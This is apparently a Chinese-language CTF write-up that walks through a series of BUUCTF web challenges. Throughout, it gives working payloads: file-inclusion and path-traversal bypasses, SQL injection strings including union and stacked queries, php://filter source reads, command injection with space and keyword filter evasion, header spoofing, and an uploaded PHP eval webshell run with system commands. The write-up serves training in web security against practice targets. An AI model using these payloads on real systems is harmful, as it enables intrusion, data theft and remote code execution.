靶场链接🔗:BUUCTF题目平台
[HCTF 2018]WarmUp
进入靶场之后,发现靶场是一个表情包。右键查看源代码发现source.php

访问source.php会返回一个源码页面。
我们先看下面的代码块:
发现是一个文件包含。其解析:
if (! empty($_REQUEST['file']) // $REQUEST['file'] 非空
&& is_string($_REQUEST['file']) // $REQUEST['file'] 是一个字符串
&& emmm::checkFile($_REQUEST['file']) // 能够通过checkFile()函数的校验
) {
include $_REQUEST['file']; // 上面的if语句为true 则包含$_REQUEST['file']文件。
exit; // 退出代码执行
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; // //打印滑稽表情
}
我们接着看checkFile()函数的源码部分:
class emmm // 定义emmm类
{
public static function checkFile(&$page) // 将调用函数时穿的值复制给$page
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; // 定义一个白名单
if (! isset($page) || !is_string($page)) {
/* 必须满足下面两个条件才不会 return false。
1. $page的值不为空
2. $page的值是一个字符串
这个在外层就已经判断过了。又重新判断了一次。
*/
echo "you can't see it";
return false;
}
// 判断$page的值是否在白名单中,如果在白名单中直接返回true。
if (in_array($page, $whitelist)) {
return true; //true
}
/*
mb_substr() 获取部分字符串 其参数mb_substr('待提取的字符串','开始的位置。0表示从头开始','截取的长度')
mb_substr() 函数的前两个参数都是固定的值。而截取的长度则是使用了mb_strpos()函数计算。
mb_strpos() 查找字符串在另一个字符串中首次出现的位置 其参数mb_strpos('要被检查的字符串','从何处查字符串')
*/
$_page = mb_substr( // 该代码表示截取$page中'?'前部分,若无则截取整个$page
$page,
0,
mb_strpos($page . '?', '?')
);
// 这里和上面一样,查看$_page是否在白名单中。是则返回true
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page); // 对$page进行一次url解码
$_page = mb_substr( // 获取? ?中间的内容
$_page,
0,
mb_strpos($_page . '?', '?')
);
// 判断$page的值是否在白名单中,如果在白名单中直接返回true。
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
通过代码审计发现,看似只有$_REQUEST['file']的值为hint.php或source.php才会包含成功。
那么我们就尝试包含hint.php

得到提示: flag为ffffllllaaaagggg。很显然这不是最终的flag。猜测可能是flag文件的名称。
继续看代码。我们来整理一下逻辑:
第一个if语句:要求$page的值已设置且$page的是字符串。否则返回false
第二个if语句:要求$page的值在$writelist数组中。否则返回false
第三个if语句:经过截取?前部分之后,要求$page的值在$writelist数组中。否则返回false
第四个if语句:经过url解码并截取?前部分之后。要求$page的值在$writelist数组中。否则返回false
若以上都没有返回值。则返回false
问题出现在第四个if语句中。因为使用了urldecode()函数对url进行解码。所以我们可以使用双重编码(也就是将一个字符串编码两次)。被两次编码之后的?号,经过包含的时候会把包含的文件当做一个目录。
下面看示例:
test.php的内容为:作为存在文件包含的页面。

x1ong.php作为可以包含的页面。

而123.txt是作为不能包含的文件。

他们三者的关系是在同一目录下的。

我们包含成功,因为它把x1ong.php当成了一个目录。所以我们需要使用../返回上一层目录。方可包含。
?经过两次url编码为%253f

根据这个思路我们解题:
前面获取到提示,flag文件为ffffllllaaaagggg,因此我们构造payload:
?file=hint.php%253f/../ffffllllaaaagggg
发现即没有输出you can't see it也没有报错。说明我们语法没问题。成功绕过了checkFile()函数。
猜测可能是路径不正确。
再次构造payload:
?file=hint.php%253f/../../../../../../../ffffllllaaaagggg
# 因为我们不知道网站根目录距离系统根目录之间有多个层目录。所以我们使用../的次数多一些。
?file=hint.php?../../../../../../../../../ffffllllaaaagggg // 也有同学使用这个payload也可以解出
最后成功包含。得到flag:

flag{f8b76c5f-254d-4a97-89d2-3f552bbe2a95}
[极客大挑战 2019]EasySQL
进入靶场之后。发现是一个登录框。根据题名判断此页面存在sql注入。

在用户名处随便输入一个用户名。之后在密码处输入一个单引号。
测试页面是否存在报错注入。

发现页面的确报了错。说明此页面存在报错注入。

但是,一般对于登录框,我们首选尝试使用万能密码。观察登录成功的页面。
在用户名一栏随便输入个用户名。在密码一栏中输入 test' or '1' = '1
之后点击登录即可。
/check.php?username=123&password=test' or '1' = '1
登录成功。同时也获取到了flag

flag{659d08d5-d382-4f4a-ab69-2ab1b3a712e8}
简述以下万能密码吧
我们猜测上方代码使用的是以下sql查询语句
select username,password from users where username=$_GET['username'] and password=$_GET['password']
当输入用户名【123】和万能密码【test' or '1' = '1】时,执行的sql语句为
select username,password from users where username='123' and password='test' or '1' = '1'
由于SQL语句中逻辑运算符具有优先级,【=】优先于【and】,【and】优先于【or】,且适用传递性。
因此此sql语句在后台解析时,分为两句。【select username,password from users where username='123' and password ='test'】 和 【'1' = '1'】 两处布尔值进行or运算。or运算的运算规则为:or前后的语句,只要有一处的结果为true, 即表示最后的结果为true。从而登录成功。
[极客大挑战 2019]Havefun
进入靶场之后,是一个摇尾巴的猫。右键查看源代码,发现一段隐藏的注释。看语法结构,猜测是php语言。

通过代码,我们构造payload:
?cat=dog
即可得到flag
flag{1dabf2b1-c627-4410-92ff-4e368031c68b}
[强网杯 2019]随便注
推荐使用docker镜像练习,不然传入某些值的时候会卡住。
docker-compose build
docker-compose up -d
open 127.0.0.1:8302
进入到页面之后。发现一个input

判断是否存在注入
1' 报错
1'# 正常 返回数据
1' and 1 = 1 # 正常
1' and 1 = 2 # 无回显
判断存在字符型的注入。且可以使用单引号闭合。
尝试获取列数
1' order by 2 # 回显正常
1' order by 3 # 页面报错

获取数据
可以判断,该表有三列。尝试使用union注入。
1' union select 1,2 #

发现页面过滤了select update delete drop insert where 等
尝试使用updatexml()报错注入
1' and updatexml(1,concat(0x7e,@@database),1)#

既然updatexml()不行,那么我们就尝试使用extractvalue()
1' and extractvalue(1,concat(0x7e,user(),0x7e)) --+ 获取当前用户名
1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+ 获取当前使用的数据库
1' and extractvalue(1,concat(0x7e,version(),0x7e)) --+ // 获取当前数据库的版本

但是,过滤了select语句。因此获取到数据就只能到这里了。
堆叠注入获取数据
在mysql中,每条命令的结束以;进行区分。而多个sql语句的执行,也可以使用;进行分割。

由于过滤了select,因此我们不能使用select
尝试使用堆叠注入获取当前所有数据库名。由于不能使用select,所以只能看看。。
1';show databases;#

尝试获取当前数据库下表。
1';show tables;#

通过结果可以发现,当前数据库下有两张表,分别是 1919810931114514 和 words
猜测input表单查询的是words这张表。
我们使用desc命令查看1919810931114514表的结构。
1';desc `1919810931114514`;#
注意这里的表名需要使用``包裹。

通过结果我们发现了flag字段。但是我们不能使用select语句。所以不能直接获取表数据。
我们这里尝试将1919810931114514表更改为words。
因为words里面的数据是我们可以获取到的。
先去看一下,words里面的字段
1';desc words;#

可以发现,words表中有id和data两个字段。
接下来。我们尝试将1919810931114514更改为words,在此之前,我们需要把words更改为其他名称
1';alter table words rename to words1; alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#
拆分下来就为
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(100);#
更改表名语法:
alter table 老的表名 rename to 新的表名;
更改某个表的字段语法:
alter table 表名 change 旧字段名 新字段名 数据类型;
1' or 1=1;#

flag{glzjin_wants_a_girl_firend}
[ACTF2020 新生赛]Include
进入到页面之后,点击tips。会跳转到下面这个页面。
观察其url,发现是一个文件包含。

发现页面包含了flag.php。猜测该文件可能存有隐藏的flag。
我们使用php伪协议php://filter获取flag.php的内容。因为php代码是在后端执行的。到前端的是执行完成之后的结果。因此我们需要使用base64编码。将flag.php的内容编码为base64。从而输出到页面。因为php程序默认是不认识base64编码的。它会当做文本传给前端。
?file=php://filter/read=convert.base64-encode/resource=./flag.php

base64解码之后得到flag。关于base64解码自行百度

flag{f79cac19-0d89-44cb-885f-eae8fdddbfc7}
关于详细文件包含的内容请参见DVWA-靶场 File Inclusion(文件包含)
[SUCTF 2019]EasySQL
进入页面。发现一行文字。译:把你的旗子给我,我会告诉你旗子对不对

尝试输入1和2 发现都有回显。经过测试发现。只有输入非0数字才会有回显。
尝试输入'#'")-- ,发现没有回显。考虑是关闭了报错回显。因此报错是行不通的。
尝试猜解字段发现页面回显Nonono.。不管怎么怼。
1' order by 3#

尝试布尔盲注。不管怎么输页面都是回显Nonono.
1' and length(database()) > 4#
我们尝试使用堆叠查询。
获取数据库下的所有数据名
1;show databases;#

获取当前使用的数据库
1;select database();#

1;show tables;#

发现CTF数据库下有两张表,分别是有个Flag表。而1则是我们查询出来的。
sql语句有个习惯,就是如果你输入的列名是数字,则会创建这个列。
如果列名真的是一个数字,则需要使用``进行包裹

尝试获取Flag表的内容。发现返回Nonono.
1;select * from Flag;#

1;desc Flag;# 尝试获取Flag表的结果 发现返回Nonono

初步猜测,可能是不能包含Flag字段。

这个时候心里就没思路了。于是就看了下别人writeup,发现这题需要猜测后端的语句。当我们前面输入非0的数字就会有回显。而输入其他字符没有回显。在这里判断可能存在||,也就是逻辑运算符or。
猜出来的sql语句大概是这样的:
select $_POST[query] || flag from Flag
当我们传入 *,2 的时候,此时的时候,实际执行的sql语句如下:
select *,2 || flag from Falg
2与flag做||运算 得出的结果为1
而后者拼接为select *,1 from Flag
从而查询到flag。
在我们查询多个字段名的时候,使用,进行分割。
mysql> select user_id,user,password from users;
+---------+---------+----------------------------------+
| user_id | user | password |
+---------+---------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 2 | gordonb | e99a18c428cb38d5f260853678922e03 |
| 3 | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b |
| 4 | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| 5 | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+---------+----------------------------------+
5 rows in set (0.00 sec)

flag{85a44f9f-9a98-46ac-9a18-a53d15b45137
在网上有人说,该题有vim文件泄露。但是我尝试了一下。并没有vim文件泄露。可能当时出题人不小心哈哈哈哈哈哈,之后搬到BUU的时候,被删掉了吧。出题人哭晕在厕所哈哈哈哈哈哈。
这里放下源码:
<?php
session_start();
include_once "config.php";
$post = array();
$get = array();
global $MysqlLink;
//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}
foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>
// 上面就是连接数据库的。
<html>
<head>
</head>
<body>
<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>
<?php
if(isset($post['query'])){
// 设置了个黑名单 过滤了好多东西
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
// 如果在黑名单中就输出 Nonono 哈哈哈哈 并且退出
//echo $post['query'];
die("Nonono.");
}
// 如果传的参数长度大于40则输出 Too long 并退出执行
if(strlen($post['query'])>40){
die("Too long.");
}
// 重点看这里!!!!!
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));
}
?>
实际后端的语句为:
也就是用了||运算。
select ".$post['query']."||flag from Flag"
但是这和出题人的想法,好像背道而驰。应该是忘记过了*
预期解:
通过修改mysql配置将或运算符||
设置为连接符。
我们知道mysql在默认情况下,会将||作为逻辑或运算符。但这个是取决于PIPES_AS_CONCAT设置的,如果启用了PIPES_AS_CONCAT,则||不再是逻辑或,而是用于字符串的连接。
正常情况下:||作为逻辑或运算 以下为示例:
mysql> select 1 || 2;
+--------+
| 1 || 2 |
+--------+
| 1 |
+--------+
1 row in set (0.00 sec)
mysql> select 1 || 0;
+--------+
| 1 || 0 |
+--------+
| 1 |
+--------+
1 row in set (0.01 sec)
当sql模式为PIPES_AS_CONCAT,则||功能就作为字符串之间的连接。类似于CONCAT()函数。
set sql_mode=PIPES_AS_CONCAT
mysql> select 20||30;
+--------+
| 20||30 |
+--------+
| 2030 |
+--------+
1 row in set (0.00 sec)
可以发现,20和30经过连接之后得到2030。此时已经||已经作为字符串连接符。
1;set sql_mode=PIPES_AS_CONCAT;select 1

以下为本机测试:
mysql> select 1 || flag from flag; // 不设置sql模式的情况下只是逻辑或
+-----------+
| 1 || flag |
+-----------+
| 1 |
+-----------+
1 row in set (0.00 sec)
mysql>
mysql>
mysql> set sql_mode=PIPES_AS_CONCAT; // 设置sql模式
Query OK, 0 rows affected, 1 warning (0.00 sec)
mysql> select 1 || flag from flag; // ||运算符用作拼接。类似于 select concat(1,flag) from flag
+-----------------------+
| 1 || flag |
+-----------------------+
| 1flag{fadjflsjfklsdf} |
+-----------------------+
1 row in set (0.00 sec)
极客大挑战 2019]Secret File
进入到页面,发现如下页面。

别问蒋璐源是谁。百度都不知道😅😅😅,按照常规思路。我们先右键查看源代码。
发现了一个php页面。

进入到该页面,是这样的。

发现SECRET是可以点击的。点击之后,进入到这个页面。
右键查看源代码无果。

根据页面文字,可以发现,请求页面的时候,应该会有隐藏的信息。于是我们使用burpsuite抓包查看
我们打开Burpsuite,在点击SECRET的时候开启代理进行抓包。之后将数据包发送到Repeater,点击send进行分析。

发现,此时页面有个302重定向。在页面的注释发现内容secr3t.php
访问secr3t.php之后出现如下页面源码
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__); // 将页面源码高亮显示到页面
error_reporting(0); // 关闭php报错信息回显
$file=$_GET['file']; // 通过GET请求接受file参数传来的值
// 只要我们传入的参数不包含 ../ 或者 tp 以及 input 和 data就可以包含成功
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
// 如果传入的参数包含以上任意一个 则执行下面代码。
echo "Oh no!"; // 打印Oh no!
exit(); // 退出程序的执行
}
include($file); // 包含这个文件。
//flag放在了flag.php里
?>
</html>
通过审计代码发现,这是一个文件包含页面。我们可以对file参数进行传值。但是我们的file传进去的值不能包含 ../ 和 tp 以及 input 和 data。否则会打印 Oh no! 并退出程序的执行
根据下面提示flag放在flag.php文件里面。
一般通过文件包含读取php文件内容。我们可以使用php://filter伪协议进行文件地读取。其原理大概就是php文件源码不能直接输出到前端页面,我们对其内容进行base64编码。将其作为文本返回给浏览器。从而得到回显。
?file=php://filter/read=convert.base64-encode/resource=./flag.php

将下面的Base64编码进行复制。在Burpsuite中进行解码。
点击Decoder模块。之后看图

flag{ea44efe6-cb4c-4b0a-9092-9540bde3942b}
[ACTF2020 新生赛]Exec
进入的页面之后,发现页面是一个ping
尝试ping一下自己的网站,发现的确可以ping,说明这里存在命令执行
当然最好ping 127.0.0.1 有时候靶机是无法访问外网的。

尝试构造payload:
127.0.0.1;ls

可以看到当前目录下存在index.php文件。
于是将我们目光投向到根目录下。
127.0.0.1;ls -lsa /

发现在根目录存在flag文件。直接使用cat命令查看即可。
127.0.0.1;cat /flag

flag{d85714b1-b591-4403-aebc-dbda4b922aec}
关于更多命令执行的知识请参见:DVWA靶场-Command Injection
[极客大挑战 2019]LoveSQL
进入网页,依旧是一个登录框。
尝试在用户名中输入'。在password中随便输入。发现页面报错。说明页面存在报错注入。

username: admin' or '1' = '1' #
password: 随便输
username: admin' and '1' = '1' #
password: 随便输
尝试输入以上万能密码,发现页面一致转圈圈。不知道是不是因为后端问题。还是浏览器问题。这里使用的chrome
于是我就将or换成了||,他们两个都是逻辑或,只是表现形式不一致。
admin' || '1' = '1' #

登录成功。但里面只有admin的密码哈哈哈哈哈哈。
判断注入点
admin' && '1' = '1' # 登录成功
admin' && '1' = '2' # 登录错误
&&也是逻辑与and的表现形式。
说明当前注入点可以使用单引号进行闭合。
猜解列的字段数
username: admin' order by 4 #
password: 随便输

发现页面报错。提示未知的列4
admin' order by 3 # 登录成功,表示当前表的列数有3列。
获取数据
username: admin' union select 1,2,3 #
password: 随便输
发现页面卡住了。。。于是我就换了Firefox浏览器。

发现页面并没有回显1,2,3,猜测可能是limit的限制,只允许返回两行。
尝试修改payload:
test' union select 1,2,3 #
test用户在数据库中应该是不存在的。所以我们让前者查下为空。返回我们后者的查询

发现页面,返回了2和3。我们将payload中的2和3。修改为我们要查询的表即可。
test' union select 1,database(),user() #

得到当前使用的数据库名为geek。使用root用户进行登录。
尝试获取当前数据库下的所有表
test' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

发现当前数据有两张表。分贝是geekuser,l0ve1ysq1
尝试获取这两张表中的字段。
test' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #

在l0ve1ysq1表下有三列。分别是id,username,password
test' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser' #
在geekuser表中也有三列。分贝是id,username,password
我们先去获取以下当前数据库下的所有数据库。他们都列名好像都不想flag哈哈哈哈。
test' union select 1,2,group_concat(schema_name) from information_schema.schemata #

发现,当前数据下有这几个数据库,分别是information_schema,mysql,performance_schema,test,geek
这里我们主要看test数据库和geek数据库,其他三个是mysql数据库内置库。
尝试获取test数据库中的表,发现数据库为空
test' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test' #

到这一步的时候。发现。。mmp。先获取一下那两张表中的数据吧。
test' union select 1,2,group_concat(username,0x7e,password) from geekuser #

得到用户名和密码。中间使用~间隔。
在前面,我们已经知道了l0ve1ysq1表的字段,接下来,我们获取表的数据
test' union select 1,2,group_concat(username,0x7e,password) from l0ve1ysq1 #

最后在结果的末尾发现了flag。
flag{554b3ec6-2218-46aa-8e29-efd3917a249f}
后记
由于本人是边做题边写wp,所以步骤有时候可能比较繁琐。但是里面包含了诸多思路和知识。希望大家能get到。当然笔者能力有限。前面我使用and和or的时候。发现页面卡住了。初步猜测是后端或者浏览器的问题。刚刚在做题过程中,我又遇到了一直转圈圈。于是我就换了多个浏览器,发现成功了。但是过了一会,又卡住了。于是我就使用了Firefox的隐私窗口。如果大家遇到了相同的问题。请也尝试下使用隐私窗口等(如果过了一会还是卡住,那么创建新的隐私窗口即可)。
[GXYCTF2019]Ping Ping Ping
进入到页面。发现页面文字/?ip=,根据题目名称和参数名,应该让我们传入一个IP地址。
/?ip=127.0.0.1

发现页面有回显。
尝试构造payload:
/?ip=127.0.0.1&&ls
发现页面无回显,猜测可能是对&&进行了过滤。
尝试将&&更换为||
/?ip=a||ls

发现当前页面存在flag.php,直接访问该php文件是空白的。
/?ip=a||cat flag.php

发现空格被过滤了。以下为代替空格的语句
${IFS}替换
$IFS$1替换
${IFS替换
%20替换
<和<>重定向符替换
%09替换
/?ip=a||cat${IFS}flag.php

发现有东西被过滤了。我们这里测试一下是谁被过滤了
/?ip=a||cat${IFS}

猜测可能是${IFS}被过滤了。尝试更换${IFS},将其更换为$IFS$1
/?ip=a||cat$IFS$1flag.php

之后发现flag又被过滤了。此时我们尝试看一下index.php的源码。
/?ip=a||cat$IFS$1index.php

得到如下页面,但是这里是不完整的。我们右键查看源代码,得到以下源码。
<?php
if(isset($_GET['ip'])){ // 判断参数ip是否有值
$ip = $_GET['ip']; //将参数ip的值赋值给变量ip
// 使用正则表单时进行匹配
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
// 如果匹配到则向页面输出1
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
// 如果传入的值包含以上,则输出下面这句话并退出程序执行
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
// 如果传入的值包含空格则输出下面这句话并退出程序的执行
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
// 如果传入得知是包含bash则输出下面这句话并退出程序的执行
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ // 匹配一个字符串中,是否按顺序出现过flag四个字母
// 如果传入的值包含flag则输出下面这句话并退出程序的执行
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
变量拼接绕过
通过以上源码得知,flag被过滤了,于是我们尝试使用变量拼接的形式。读取flag文件。
/?ip=a;b=f;cat$IFS$1$blag.php // 过滤
/?ip=a;b=l;cat$IFS$1f$bag.php // 有响应 无flag内容
/?ip=a;b=a;cat$IFS$1fl$bg.php // 有响应 无flag内容
/?ip=a;b=g;cat$IFS$1fla$b.php // 有flag
/?ip=a;b=g;cat$IFS$1fla$b.php

flag{7fcf24c5-9f25-46a5-9b6d-a54ae5ef854c}
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ // 匹配一个字符串中,是否按顺序出现过flag四个字母
die("fxck your flag!");
}
对于以上正则,其实还有一种绕过形式。
/?ip=127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php
以上面基本一致。因为上面这个if语句,只会匹配按顺序出现过的flag四个字母。而不会匹配不按顺序出现的flag字母。
还有一种解法是通过base64编码绕过正则匹配
base64编码绕过
将cat flag.php进行base64编码得到Y2F0IGZsYWcucGhw。
x1ong@sunnydeMacBook-Pro html % echo "Y2F0IGZsYWcucGhw"
Y2F0IGZsYWcucGhw
x1ong@sunnydeMacBook-Pro html % echo "Y2F0IGZsYWcucGhw" | base64 -d
cat flag.php
x1ong@sunnydeMacBook-Pro html % echo "Y2F0IGZsYWcucGhw" | base64 -d | bash
flag{fasdfsldfjsldkfj}
x1ong@sunnydeMacBook-Pro html %
以上代码先使用echo命令对Y2F0IGZsYWcucGhw进行标准输出。
在Linux中内置了base64命令,其用来对base64编码进行解码。-d参数表示解码。
echo "Y2F0IGZsYWcucGhw" | base64 -d | sh
这里使用了管道符,这条命令是将 echo "Y2F0IGZsYWcucGhw" 输出的结果,交给base64 -d 命令进行处理。之后base64 -d解码之后。
得到cat flag.php
之后再使用管道符将解密后的cat flag.php交给我们的sh处理。而sh正是我们的shell终端。
x1ong@sunnydeMacBook-Pro html % cat flag.php
flag{fasdfsldfjsldkfj}
类似直接在命令行中直接执行cat flag.php
构造payload:
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
由于空格和"在黑名单中,因此我们把空格以$IFS$1代替。而双引号可以不加。
而$IFS$1则是shell内置变量。其内容为空白。可代替空格。

/?ip=a;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

内联绕过
利用Linux的特性。被``反引号包裹起来的字符串,可以当做命令执行。反引号即ESC键下方。
x1ong@sunnydeMacBook-Pro html % cat flag.php
flag{fasdfsldfjsldkfj}
x1ong@sunnydeMacBook-Pro html % cat `flag.php`
zsh: command not found: flag.php
当我们不加反引号的时候。执行cat flag.php则是打印出flag.php的内容。而将flag.php加上反引号。
则提示未知的命令flag.php,可以发现,flag.php被当做了命令执行。
x1ong@sunnydeMacBook-Pro test % ll
total 56
-rw-r--r-- 1 x1ong wheel 23B 10 3 20:01 1
-rw-r--r-- 1 x1ong wheel 23B 10 3 20:01 2
-rw-r--r-- 1 x1ong wheel 23B 10 3 20:01 3
-rw-r--r-- 1 x1ong wheel 23B 10 3 20:01 4
-rw-r--r-- 1 x1ong wheel 23B 10 3 20:02 5
-rw-r--r-- 1 x1ong wheel 23B 10 3 20:02 6
-rw-r--r-- 1 x1ong wheel 23B 10 3 20:02 7
x1ong@sunnydeMacBook-Pro test % cat `ls`
我是文件1的内容
我是文件2的内容
我是文件3的内容
我是文件4的内容
我是文件5的内容
我是文件6的内容
我是文件7的内容
当前目录下是存在1-7命名的文件。而我们执行cat `ls` 则将当前目录下的所有文件内容打印了出来。
因此构造payload:
/?ip=a;cat$IFS$1`ls`;

[极客大挑战 2019]Knife
进入到页面,发现几个大字。而标题是白给的shell
然后又给了你一句话木马的源码。

很明显是告诉你,这个页面有webshell。让你使用中国菜刀连接。而连接密码是Syc。
而我这里偏偏不使用菜刀连接。我直接手动传参。

发现传参无果后,于是果断打开中国蚁剑 红红火火恍恍惚惚红红火火恍恍惚惚
flag{c4902350-58f1-4db3-8a03-b5858b4e6a5e}

连接成功之后,在系统根目录下即可看到flag文件。
中国蚁剑下载地址:
github: https://github.com/AntSwordProject/AntSword-Loader
Gitee: https://gitee.com/jeea/AntSword
[极客大挑战 2019]Http
进入到页面之后,是一个招新页面。右键查看源代码。发现Secret.php文件。

进入到该页面中提示,我不是来自下面这个网站。

下面介绍一下Referer这个请求头:
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
—— 摘自百度百科
于是我们使用HackBar插件修改请求头中的参数Referer,将其修改为https://www.Sycsecret.com

之后页面提示,说使用的不是这个浏览器。

那么我们还需要修改User-agnet。将其修改为Syclover
下面介绍一下User-agent:
User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
——摘自百度百科
知道他们两者之后我们去Burpsuite修改数据包(HackBar)也可以。但是学习期间,还是多熟悉一些工具。
User-Agent: Syclover
Referer: https://www.Sycsecret.com
// 注意下面要有一个空行

发送数据包之后,页面提示我们 No!!! you can only read this locally!!!,仅允许本地用户读取。
那么还要向大家介绍一个请求头——X-Forwarded-For
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段
——以上摘自百度百科
简单来说,它能获取到你的客户端IP地址。从而判断你是否是本地ip。
而127.0.0.1是回送地址。代表本机的IP地址。
因此在HTTP请求头添加如下:
X-Forwarded-For: 127.0.0.1

最后得到flag。
flag{b35f8e0d-0ce6-47c5-8687-b08fca86899e}
[极客大挑战 2019]Upload
进入页面,发现是一个文件上传,尝试上传一个php文件。

提示Not image。之后上传一个PHP文件使用Burpsuite进行数据包的抓取。
将其发送到Repeater
我们修改该请求的Content-Type字段。
将其修改为image/jpeg。图片的MIME类型。

发现页面返回NOT! php!将.php需改为.jpg文件进行上传。发现页面提示NO! HACKER! your file included '<?'。
表示我们的文件内容包含<?,这也就说明,后端对文件地内容进行了检查。文件内容不能包含<?
'<?' 为HTML实体编码其解码为 '<?'

我们这里尝试上传一个txt文本文件。查看其返回。

发现,返回Not image。
因为对文件内容进行了检查,这里在文件内容中加入图片的文件头。让其误认为我们是图片。
JPEG (jpg), 文件头:FFD8FF
PNG (png), 文件头:89504E47
GIF (gif), 文件头:47494638
TIFF (tif), 文件头:49492A00
而十六机制的47494638转为字符串则为GIF8。所以我们这里再文件内容的开头加入GIF8或者GIF89a即可。
以下是gif图片的文件头:


发现文件上传成功。可以说明后端除了对后缀检查是否为php以外。并没有对其他文件的后缀进行检查。
于是我们想了一下:
除了.php结尾以外,Apache服务器还会将php,php3,php4,php5,phtml结尾的文件当做php文件执行。
但是php.ini配置文件中,需要有以下配置:
AddType Application/x-httpd-php .php php3 .php4 .php5 .phtml
将文件名修改为123.phtml进行上传

发现页面提示我们文件内容包含<?,因此上传没有成功。
这里介绍一下<script></script>标签中的language属性,它定义了我们使用<script></script>标签包裹包裹起来的代码的语言。默认为Javascript。

而我们将其修改为php会怎么样?这里编辑123.php文件。文件内容为如下:

尝试访问,发现被script标签包裹起来的代码。被当做了PHP代码执行。
注意:这一特性在PHP7.0之后。就不能使用了。

而我们在php文件中直接写php代码。是不能直接当做PHP程序执行的。


尝试构造Payload:
GIF8
<script language="php"> @eval($_POST[cmd]);</script>

发现上传成功,我们这里尝试访问。
但是这里没有给出上传路径,我们盲猜是upload
发现真的哈哈哈哈哈哈,而且还有目录浏览。

我们直接访问123.phtml文件

这里直接使用中国蚁剑进行连接,但是我这里没有连接成功。提示连接超时,可能是BUU服务器那边做的安全限制吧。
于是我就手动传参:
cmd=system('ls /')

在系统根目录发现了flag文件。尝试查看该文件
cmd=system('cat /flag');

flag{51129fd1-ecd3-4405-9133-70def0d2e5a9}
[RoarCTF 2019]Easy Calc
进入页面后,发现是一个input。尝试输入数字都是可以输出的。
但是这里尝试输入字母发现页面提示:这啥?算不来!

由于这个弹窗是JavaScript的alert(),因此右键查看源代码。
在源代码中发现提示:说已经建立了WAF
接着在源代码中发现了calc.php文件。

访问calc.php得到以下源码页面。

这里先分析一下那个JavaScript代码,以便于增强自己对JS的认识。当然也可以跳过下方解析。
JavaScript代码审计
<script>
// 当我们点击计算的时候执行以下函数内容
$('#calc').submit(function(){
$.ajax({
// 对用户输入的字符串进行url编码后交给calc.php页面中的num参数处理
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET', // 定义了ajax方法的请求方法。
// 请求成功之后执行我们下面的函数
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
// 请求失败执行的函数
error:function(){
alert("这啥?算不来!");
}
})
return false; // 函数返回值为false
})
</script>
$('#calc')是JQuery中的语法。它与JS中的document.getElementById()功能一致。都是选中ID为calc的HTML元素。也就是我们的from标签。
而submit()方法,则是当提交表单时执行的方法(做的事)。
当我们点击计算的时候会执行submit方法绑定的事件函数。也就是function{}中的部分。
在函数中又引用了ajax() 方法通过 HTTP 请求加载远程数据。而其中的url参数表示请求的地址。即calc.php?num=经过encodeURIComponent() 函数把字符串作为 URI 组件进行编码。而val()用来返回表单中键入的值其余JS中的value()方法一致。都是用来获取表单中的值。
而参数type定义了ajax()发送请求的方法。常见的有GET和POST
